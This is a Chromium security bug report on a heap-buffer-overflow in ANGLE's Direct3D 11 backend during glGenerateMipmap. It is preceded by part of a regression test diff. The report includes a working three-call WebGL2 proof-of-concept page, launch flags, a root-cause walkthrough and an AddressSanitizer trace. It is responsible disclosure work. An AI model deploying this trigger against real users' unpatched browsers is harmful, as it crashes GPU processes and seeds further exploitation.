+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 1);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 4);
+ for (int level = 1; level <= 4; ++level)
+ {
+ glUniform1f(lodLoc, static_cast<GLfloat>(level - 1));
+ drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
+ }
+
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 5);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 5);
+
+ // Level 5 is cleared
+ glUniform1f(lodLoc, 0.0f);
+ drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack);
+
+ // Level 6 still has its uploaded data
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 6);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 6);
+ glUniform1f(lodLoc, 0.0f);
+ drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::yellow);
+
+ // Level 10 is cleared
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 10);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 10);
+ glUniform1f(lodLoc, 0.0f);
+ drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack);
+}
+
+GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(MipmapRobustInitTestES3);
+ANGLE_INSTANTIATE_TEST_ES3(MipmapRobustInitTestES3);
+
// Use this to select which configurations (e.g. which renderer, which GLES major version) these
// tests should be run against.
ANGLE_INSTANTIATE_TEST_ES2_AND_ES3_AND(
Original Bug Report
Heap-buffer-overflow in ANGLE D3D11 TextureStorage11::setData during glGenerateMipmap
Steps to reproduce the problem
ENVIRONMENT
- Windows x64, Chrome ASAN build (repro’d on 152.0.7925.0).
- ANGLE D3D11 WARP device. On a GPU-less host (VPS / VDI / RDP / Windows Server / container) –use-angle=d3d11 selects WARP automatically, so this is the default config there. To force it on a machine that has a GPU, use –use-angle=d3d11-warp.
- Save this as poc.html (also attached):
<!doctype html><meta charset=“utf-8”><canvas id=“c”></canvas><script> const gl = document.getElementById(“c”).getContext(“webgl2”); const tex = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, tex); // stale non-base level, small, different format gl.texImage2D(gl.TEXTURE_2D, 1, gl.R8, 2, 16, 0, gl.RED, gl.UNSIGNED_BYTE, null); // larger base level, different format -> native storage is built from this gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, 16, 128, 0, gl.RGBA, gl.UNSIGNED_BYTE, null); // build storage + robust-init the stale L1 image into the larger storage L1 gl.generateMipmap(gl.TEXTURE_2D); gl.finish(); </script>
- Launch the ASAN build, forcing the WARP device:
chrome.exe –headless=new –no-sandbox –use-angle=d3d11-warp ^ –enable-logging=stderr –v=0 “file:///C:/path/to/poc.html”
(On a GPU-less host, –use-angle=d3d11 or simply opening the page works.)
RESULT The GPU process aborts with AddressSanitizer: heap-buffer-overflow inside D3D10Warp.dll, called from: rx::TextureStorage11::setData TextureStorage11.cpp:891 (UpdateSubresource) rx::TextureD3D::initializeContents TextureD3D.cpp:969 (robust resource init) gl::Texture::ensureInitialized Texture.cpp:2569 gl::Texture::syncState Texture.cpp:2457 gl::Texture::generateMipmap Texture.cpp:1982 The overflowed buffer is the zero-fill buffer allocated by gl::Context::getZeroFilledBuffer (TextureD3D.cpp:965), sized from the stale level-1 IMAGE (R8 2x16 = 32 bytes); the full-subresource UpdateSubresource then reads it as the STORAGE level-1 (RGBA8 8x64 = 2048 bytes) -> reads past the buffer.
CONTROL (confirms the cause) Removing the first texImage2D call (the stale level-1 image) — i.e. just the base level + generateMipmap — runs cleanly with no overflow.
RELIABILITY Highly reliable. A fuzzing run on a GPU-less VPS produced 48 crashes (one per ~150 random seeds), all deduping to this single call path.
NOTES
- Triggered purely from WebGL2 (no special content flags).
- This is the D3D11 counterpart of the Metal issue chromium:499006005 (“Treat glGenerateMipmap as an image redefinition”); that fix was Metal-only.
- On discrete-GPU D3D11 the same undersized upload happens but is serviced via the driver/DMA and is not ASAN-instrumented, so it is not observable there; the under-sizing itself is in ANGLE and is backend-common.
Problem Description
A web page can trigger a heap-buffer-overflow in the GPU process with three WebGL2 calls (texImage2D, texImage2D, generateMipmap) on ANGLE’s Direct3D 11 backend. This is the D3D11 counterpart of chromium:499006005 (“Metal: Treat glGenerateMipmap as an image redefinition”); that fix touched only the Metal backend, and the same image-vs-native-storage size desync is present, unguarded, in D3D11. ROOT CAUSE During robust resource initialization, ANGLE sizes the zero-fill source buffer from a texture level’s IMAGE dimensions, but uploads it with a full-subresource UpdateSubresource (pDstBox = NULL), which fills the entire native STORAGE subresource, whose dimensions are derived from the base level. TextureD3D::initializeContents (src/libANGLE/renderer/d3d/TextureD3D.cpp) computeRowPitch(type, image->getWidth(), 1, 0, &imageBytes); // :952 IMAGE dims imageBytes *= image->getHeight() * image->getDepth(); // :955-958 context->getZeroFilledBuffer(imageBytes, &zeroBuffer); // :965 image-sized buffer mTexStorage->setData(context, index, image, nullptr, …, zeroBuffer->data()); // :969 TextureStorage11::setData (src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp) levelBox = { getLevelWidth(level), getLevelHeight(level), … }; // :804 STORAGE dims fullUpdate = (destBox == nullptr || *destBox == levelBox); // :806 width = destBox ? destBox->width : image->getWidth(); // :817 IMAGE dims computeRowDepthSkipBytes(type, width, height, …) -> srcRowPitch // :824 UpdateSubresource(resource, destSubresource, /pDstBox=/nullptr, data, …);// :891 For robust init destBox is null, so UpdateSubresource fills the whole storage subresource (storage-level dims) while the source buffer/pitch were computed from the image dims. When a non-base level holds a stale image smaller than the geometric storage level — a state reachable through ordinary texture redefinition followed by generateMipmap — Direct3D accesses the source beyond its allocated size. Minimal trigger: texImage2D(level 1, R8, 2x16); texImage2D(level 0, RGBA8, 16x128); generateMipmap. generateMipmap builds storage from base level 0 (storage level 1 = RGBA8 8x64 = 2048 bytes); robust init sizes the zero buffer from the stale level-1 image (R8 2x16 = 32 bytes); UpdateSubresource then processes it as the 2048-byte storage level. Removing the stale level-1 image runs clean (control). REACHABILITY
- Pure WebGL2, no special content flags.
- Manifests on the D3D11 WARP device. On GPU-less Windows hosts (VPS, cloud, VDI, RDP, Windows Server, containers) –use-angle=d3d11 (the default) selects WARP automatically, so this is the default configuration for that population.
- On discrete-GPU D3D11 the same undersized upload occurs but is serviced by the driver/DMA and is not ASAN-instrumented, so it is not observable there; the under-sizing is in ANGLE and is backend-common.
IMPACT AddressSanitizer reports a heap-buffer-overflow reaching D3D10Warp.dll from TextureStorage11::setData during generateMipmap. I observed an out-of-bounds read; I did not construct an out-of-bounds write or a web-observable info leak, but I have not ruled out higher-impact variants of this desync and defer the severity assessment to the ANGLE/security team — particularly given that the Metal sibling (chromium:499006005) was rated High.
Summary
Heap-buffer-overflow in ANGLE D3D11 TextureStorage11::setData during glGenerateMipmap
Custom Questions
Type of crash:
GPU process
Crash state:
==9144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x11af79f21900 at pc 0x7ffb8b26b878 bp 0x00082b5fced0 sp 0x00082b5fcf18 READ of size 16 at 0x11af79f21900 thread T0 [10032:12452:0709/070935.518:INFO:CONSOLE:36] “TEXFUZZ_RENDERER ANGLE (Microsoft, Microsoft Basic Render Driver (0x0000008C) Direct3D11 vs_5_0 ps_5_0, D3D11)”, source: file:///C:/chrome/fuzz/angle_texfuzz.html?start=900&count=150 (36) #0 0x7ffb8b26b877 (C:\chrome\asan\build\clang_rt.asan_dynamic-x86_64.dll+0x18004b877) #1 0x7ffbeb7f6a2d (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800e6a2d) #2 0x7ffbeb7b75d0 (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800a75d0) #3 0x7ffbeb77919d (C:\Windows\SYSTEM32\d3d10warp.dll+0x18006919d) #4 0x7ffbef059a40 (C:\Windows\SYSTEM32\d3d11.dll+0x180129a40) #5 0x7ffbef05f9c2 (C:\Windows\SYSTEM32\d3d11.dll+0x18012f9c2) #6 0x7ffb47af11a0 in rx::TextureStorage11::setData(class gl::Context const *, class gl::ImageIndex const &, class rx::ImageD3D *, struct gl::Box const *, unsigned int, struct gl::PixelUnpackState const &, unsigned char const *) C:\b\s\w\ir\cache\builder\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\TextureStorage11.cpp:891:27
#44 0x7ffb61b42935 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, class base::TimeDelta) C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:660:12
SUMMARY: AddressSanitizer: heap-buffer-overflow (C:\Windows\SYSTEM32\d3d10warp.dll+0x1800e6a2d) Shadow bytes around the buggy address: 0x11af79f21680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x11af79f21700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x11af79f21780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x11af79f21800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x11af79f21880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x11af79f21900:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x11af79f21b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb
==9144==ADDITIONAL INFO
==9144==Note: Please include this section with the ASan report. Task trace: #0 0x7ffb49468f35 in gpu::Scheduler::RunNextTask(void) C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler.cc:654:27 #1 0x7ffb49463abb in gpu::Scheduler::TryScheduleSequence(class gpu::Scheduler::Sequence *) C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler.cc:439:29
Command line: "C:\chrome\asan\build\chrome.exe" --type=gpu-process --no-sandbox --headless=new --use-angle=d3d11 --noerrdialogs --user-data-dir="C:\chrome\asan\udd_texfuzz_d3d11_12912" --disable-breakpad --no-pre-read-main-dll --force-high-res-timeticks=disabled --start-stack-profiler --gpu-preferences=WAAAAAAAAADoAQAMAAAAAAAAAAAAAMAAQAAAAAAAAAADAAAAAAAAADgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAAoAAAAAAAAAAgAAAAAAAAAEAAAAAIAAAABAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --field-trial-handle=1960,i,10161796873122917280,11239096732217716668,262144 --disable-features=DialMediaRouteProvider,PaintHolding --variations-seed-version --pseudonymization-salt-handle=2088,i,8754868003409616518,10254790157041011126,4 --trace-process-track-uuid=3190708988185955192 --enable-logging=stderr --v=0 --mojo-platform-channel-handle=1864 /prefetch:2 --no-first-run
==9144==END OF ADDITIONAL INFO
==9144==ABORTING
Reporter credit:
Đặng Thế Tuyến
Additional Data
Category: Security
Chrome Channel: Not sure
Regression: N/A \